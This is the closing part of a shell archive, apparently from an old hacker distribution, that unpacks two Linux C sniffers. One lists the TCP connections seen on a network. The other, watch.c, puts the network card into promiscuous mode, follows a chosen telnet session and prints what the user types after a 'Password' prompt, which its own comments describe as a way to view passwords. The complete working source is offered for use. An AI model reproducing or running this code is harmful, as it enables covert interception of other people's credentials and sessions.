X    tmp->srcip[0] & 0xff,
X    tmp->srcip[1] & 0xff,
X    tmp->srcip[2] & 0xff,
X    tmp->srcip[3] & 0xff,
X    tmp->srcport & 0xffff,
X    tmp->dstip[0] & 0xff,
X    tmp->dstip[1] & 0xff,
X    tmp->dstip[2] & 0xff,
X    tmp->dstip[3] & 0xff,
X    tmp->dstport & 0xffff);
X    tmp = tmp->next;
X    num++;
X    }
X  return (num - 1);
X  }
X
X
SHAR_EOF
  $shar_touch -am 0212045596 'lister/connect.c' &&
  chmod 0644 'lister/connect.c' ||
  echo 'restore of lister/connect.c failed'
  shar_count="`wc -c < 'lister/connect.c'`"
  test 1739 -eq "$shar_count" ||
    echo "lister/connect.c: original size 1739, current size $shar_count"
fi
# ============= lister/README ==============
if test -f 'lister/README' && test X"$1" != X"-c"; then
  echo 'x - skipping lister/README (file already exists)'
else
  echo 'x - extracting lister/README (text)'
  sed 's/^X//' << 'SHAR_EOF' > 'lister/README' &&
To Compile type gcc -o ../List lister.c find.c connect.c
SHAR_EOF
  $shar_touch -am 0212042896 'lister/README' &&
  chmod 0644 'lister/README' ||
  echo 'restore of lister/README failed'
  shar_count="`wc -c < 'lister/README'`"
  test 57 -eq "$shar_count" ||
    echo "lister/README: original size 57, current size $shar_count"
fi
# ============= lister/lister.c ==============
if test -f 'lister/lister.c' && test X"$1" != X"-c"; then
  echo 'x - skipping lister/lister.c (file already exists)'
else
  echo 'x - extracting lister/lister.c (text)'
  sed 's/^X//' << 'SHAR_EOF' > 'lister/lister.c' &&
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <linux/if_ether.h>
#include <linux/if.h>
#include "find.h"
#include "connect.h"
X
/*
X * Lister
X *  This program will list all ongoing connections
X */
X
X
struct ifreq oldifr, ifr;
struct connection *head;
X
X
void
go(int argc, char *argv[])
{
int l, i, j;
int sock, length;
struct sockaddr_in name;
unsigned char buf[4096];
unsigned int feh;
int size;
char DEV[255];
int timeout;
int time;
int num, choice;
head = NULL;
X
if(argc < 3)
X  {
X  printf("%s: Ethdevice Timeout\n", argv[0]);
X  exit(1);
X  }
X
/*
X * Obtain ip and port from command line
X */
strcpy(DEV, argv[1]);
timeout = atoi(argv[2]);
X
/*
X * Get a socket which will collect all packets
X */
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
X
if (sock < 0)
X    {
X    printf("Cannot open Raw ICMP Socket.\n");
X    exit(1);
X    }
X
/*
X * Configure ethernet device
X */
strcpy(ifr.ifr_name, DEV);
strcpy(oldifr.ifr_name, DEV);
X
/*
X * Get flags and place them in ifr structure
X */
if(ioctl(sock, SIOCGIFFLAGS, &ifr) < 0)
X  {
X  printf("Unable to get %s flags\n", DEV);
X  exit(1);
X  }
X
/*
X * Get flags and place them in oldifr structure
X *   This will be used later to change ether device characteristics back
X *   to their original value
X */
if(ioctl(sock, SIOCGIFFLAGS, &oldifr) < 0)
X  {
X  printf("Unable to get %s flags\n", DEV);
X  exit(1);
X  }
X
/*
X * Set the promiscous flag
X */
ifr.ifr_flags |= IFF_PROMISC;
X
/*
X * Set the device flags
X */
if(ioctl(sock, SIOCSIFFLAGS, &ifr) < 0)
X  {
X  printf("Unable to set %s flags\n", DEV);
X  exit(1);
X  }
X
/*
X * Set up sockaddr
X */
name.sin_family = AF_INET;
name.sin_addr.s_addr = INADDR_ANY;
name.sin_port = 0;
X
length = sizeof(name);
X
if (getsockname(sock, (struct sockaddr *) &name, &length) < 0)
X    {
X    printf("Error: Can't get socket name\n");
X    exit(1);
X    }
X
printf("Up and running. Collect them NFO'Z\n");
feh = sizeof(struct sockaddr);
X
/*
X * Entering the data collection loop
X */
for( ; ; )
X    {
X    if ((l = recvfrom(sock, buf, 1024, 0, (struct sockaddr *)&name,
X                      &feh)) < 0)
X        printf("Error receiving ICMP packet\n");
X
X
/*
X * Check to make sure this is an IP packet
X *  The number starts high as the ethernet frame is in the buffer as well.
X */
if(buf[14] == 0x45 || buf[14] == 0x54)
X  /*
X   * Verify that it is protocol 6.
X   */
X  if(buf[23] == 6)
X    {
X    if(newconnection(buf, head))
X      head = addconnection(buf, head);
X    time++;
X    }
if(time >= timeout)
X  {
X  num = printconnections(head);
X  time = 0;
X  printf("Found %d unique connections.\n", num);
X  break;
X  }
X
fflush(stdout);
X
X
X    }
X
close(sock);
exit(0);
}
X
void main(int argc, char *argv[])
X  {
X  go(argc, argv);
X  }
X
SHAR_EOF
  $shar_touch -am 0212035896 'lister/lister.c' &&
  chmod 0600 'lister/lister.c' ||
  echo 'restore of lister/lister.c failed'
  shar_count="`wc -c < 'lister/lister.c'`"
  test 2734 -eq "$shar_count" ||
    echo "lister/lister.c: original size 2734, current size $shar_count"
fi
# ============= watcher/watch.c ==============
if test ! -d 'watcher'; then
  echo 'x - creating directory watcher'
  mkdir 'watcher'
fi
if test -f 'watcher/watch.c' && test X"$1" != X"-c"; then
  echo 'x - skipping watcher/watch.c (file already exists)'
else
  echo 'x - extracting watcher/watch.c (text)'
  sed 's/^X//' << 'SHAR_EOF' > 'watcher/watch.c' &&
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdio.h>
#include <linux/if_ether.h>
#include <linux/if.h>
#include "find.h"
X
X
struct ifreq oldifr, ifr;
X
X
main(int argc, char *argv[])
{
int l, i, j;
int sock, length;
struct sockaddr_in name;
unsigned char buf[4096];
unsigned int feh;
int size;
int flag = 0;
int ip[4];
int ip2[4];
int inport, outport;
char DEV[255];
X
if(argc < 12)
X  {
X  printf("%s: Ethdevice SourceIPWithSpacesNotDots DestIPWithSpacesNotDots sourceport destport\n", argv[0]);
X  exit(1);
X  }
X
/*
X * Obtain ip and port from command line
X */
strcpy(DEV, argv[1]);
ip[0] = atoi(argv[2]);
ip[1] = atoi(argv[3]);
ip[2] = atoi(argv[4]);
ip[3] = atoi(argv[5]);
ip2[0] = atoi(argv[6]);
ip2[1] = atoi(argv[7]);
ip2[2] = atoi(argv[8]);
ip2[3] = atoi(argv[9]);
inport = atoi(argv[10]);
outport = atoi(argv[11]);
X
/*
X * Get a socket which will collect all packets
X */
sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL));
X
if (sock < 0)
X    {
X    printf("Cannot open Raw ICMP Socket.\n");
X    exit(1);
X    }
X
/*
X * Configure ethernet device
X */
strcpy(ifr.ifr_name, DEV);
strcpy(oldifr.ifr_name, DEV);
X
/*
X * Get flags and place them in ifr structure
X */
if(ioctl(sock, SIOCGIFFLAGS, &ifr) < 0)
X  {
X  printf("Unable to get %s flags\n", DEV);
X  exit(1);
X  }
X
/*
X * Get flags and place them in oldifr structure
X *   This will be used later to change ether device characteristics back
X *   to their original value
X */
if(ioctl(sock, SIOCGIFFLAGS, &oldifr) < 0)
X  {
X  printf("Unable to get %s flags\n", DEV);
X  exit(1);
X  }
X
/*
X * Set the promiscous flag
X */
ifr.ifr_flags |= IFF_PROMISC;
X
/*
X * Set the device flags
X */
if(ioctl(sock, SIOCSIFFLAGS, &ifr) < 0)
X  {
X  printf("Unable to set %s flags\n", DEV);
X  exit(1);
X  }
X
/*
X * Set up sockaddr
X */
name.sin_family = AF_INET;
name.sin_addr.s_addr = INADDR_ANY;
name.sin_port = 0;
X
length = sizeof(name);
X
if (getsockname(sock, (struct sockaddr *) &name, &length) < 0)
X    {
X    printf("Error: Can't get socket name\n");
X    exit(1);
X    }
X
printf("Up and running. Collect them NFO'Z\n");
feh = sizeof(struct sockaddr);
X
/*
X * Entering the data collection loop
X */
for( ; ; )
X    {
X    if ((l = recvfrom(sock, buf, 1024, 0, (struct sockaddr *)&name,
X                      &feh)) < 0)
X        printf("Error receiving ICMP packet\n");
X
/*
X * This slows things way down as the find algorithm is rather slow
X *    If you wish to display faster for whatever reason then just comment
X *    this line.
X * flag is a boolean which if set to true will print someones keypresses
X *    as well as the echo from the telnetd.  This allows the viewing of,
X *    hmmm, passwords...
X */
if(Find(buf, "Password", l))
X    flag = 1;
X
/*
X * Check to make sure this is an IP packet
X *  The number starts high as the ethernet frame is in the buffer as well.
X */
if(buf[14] == 0x45 || buf[14] == 0x54)
X  /*
X   * Verify that it is protocol 6.
X   */
X  if(buf[23] == 6)
if(flag == 1)
X  {
/*
X * Verify that ip addresses and ports match.
X */
X  if( ((buf[26] == (ip[0] & 0xff)) && (buf[27] == (ip[1] & 0xff)) &&
X       (buf[28] == (ip[2] & 0xff)) && (buf[29] == (ip[3] & 0xff)) &&
X       ((buf[34] * 256 + buf[35]) == inport))
X   && ((buf[30] == (ip2[0] & 0xff)) && (buf[31] == (ip2[1] & 0xff)) &&
X       (buf[32] == (ip2[2] & 0xff)) && (buf[33] == (ip2[3] & 0xff)) &&
X       ((buf[36] * 256 + buf[37]) == outport)))
X    {
/*
X * buf[16] and buf[17] are the total length of the ip packet
X * 54 is the data offset to reach the data segment of the buffer
X * 40 is subtracted as this is the length of the IP header and TCP header
X */
X    size = buf[16] * 256 + buf[17];
X    size = 54 + size - 40;
X    for(i = 54; i < size; i++)
X      printf("%c", buf[i]);
/*
X * Set the flag back to 0 after a \n is found
X */
X    if(flag == 1 && buf[i] == '\n')
X      flag = 0;
X    }
X  }
else
X  if( ((buf[26] == (ip[0] & 0xff)) && (buf[27] == (ip[1] & 0xff)) &&
X       (buf[28] == (ip[2] & 0xff)) && (buf[29] == (ip[3] & 0xff)) &&
X       ((buf[34] * 256 + buf[35]) == inport)) )
X    {
X    size = buf[16] * 256 + buf[17];
X    size = 54 + size - 40;
X    for(i = 54; i < size; i++)
X      printf("%c", buf[i]);
X    if(flag == 1 && buf[i] == '\n')
X      flag = 0;
X    }
X
fflush(stdout);
X
X
X    }
X
close(sock);
exit(0);
}
X
SHAR_EOF
  $shar_touch -am 0212051196 'watcher/watch.c' &&
  chmod 0600 'watcher/watch.c' ||
  echo 'restore of watcher/watch.c failed'
  shar_count="`wc -c < 'watcher/watch.c'`"
  test 4268 -eq "$shar_count" ||
    echo "watcher/watch.c: original size 4268, current size $shar_count"
fi
# ============= watcher/README ==============
if test -f 'watcher/README' && test X"$1" != X"-c"; then
  echo 'x - skipping watcher/README (file already exists)'
else
  echo 'x - extracting watcher/README (text)'
  sed 's/^X//' << 'SHAR_EOF' > 'watcher/README' &&
To compile type gcc -o ../Watch watch.c find.c
SHAR_EOF
  $shar_touch -am 0212042796 'watcher/README' &&
  chmod 0644 'watcher/README' ||
  echo 'restore of watcher/README failed'
  shar_count="`wc -c < 'watcher/README'`"
  test 47 -eq "$shar_count" ||
    echo "watcher/README: original size 47, current size $shar_count"
fi
# ============= watcher/find.c ==============
if test -f 'watcher/find.c' && test X"$1" != X"-c"; then
  echo 'x - skipping watcher/find.c (file already exists)'
else
  echo 'x - extracting watcher/find.c (text)'
  sed 's/^X//' << 'SHAR_EOF' > 'watcher/find.c' &&
#include <string.h>
X
int Find(char * String, char * Match, int length2)
{
int length;
int i, k;
char buf[4096];
X
length = strlen(Match);
X
if(length2 < length)
X    return 0;
X
for(i = 0; i < (length2 - length); i++)
X    {
X    for(k = 0; k < length; k++)
X        buf[k] = String[k + i];
X    if(!strncmp(buf,Match,length))
X        return 1;
X    }
X
return 0;
}
SHAR_EOF
  $shar_touch -am 0211223796 'watcher/find.c' &&
  chmod 0644 'watcher/find.c' ||
  echo 'restore of watcher/find.c failed'
  shar_count="`wc -c < 'watcher/find.c'`"
  test 356 -eq "$shar_count" ||
    echo "watcher/find.c: original size 356, current size $shar_count"
fi
# ============= watcher/find.h ==============
if test -f 'watcher/find.h' && test X"$1" != X"-c"; then
  echo 'x - skipping watcher/find.h (file already exists)'
else
  echo 'x - extracting watcher/find.h (text)'
  sed 's/^X//' << 'SHAR_EOF' > 'watcher/find.h' &&
int Find(char * String, char * Match, int);
SHAR_EOF
  $shar_touch -am 0211223796 'watcher/find.h' &&
  chmod 0644 'watcher/find.h' ||
  echo 'restore of watcher/find.h failed'
  shar_count="`wc -c < 'watcher/find.h'`"
  test 44 -eq "$shar_count" ||
    echo "watcher/find.h: original size 44, current size $shar_count"
fi
exit 0

                                  .oO____Oo.

--
infiNity .oOo.  Member of the infamous Guild |  spreading information
route .oOo.  Use strong Cryptography |  like it was going
daemon9 .oOo.  Finger for info |  out of style
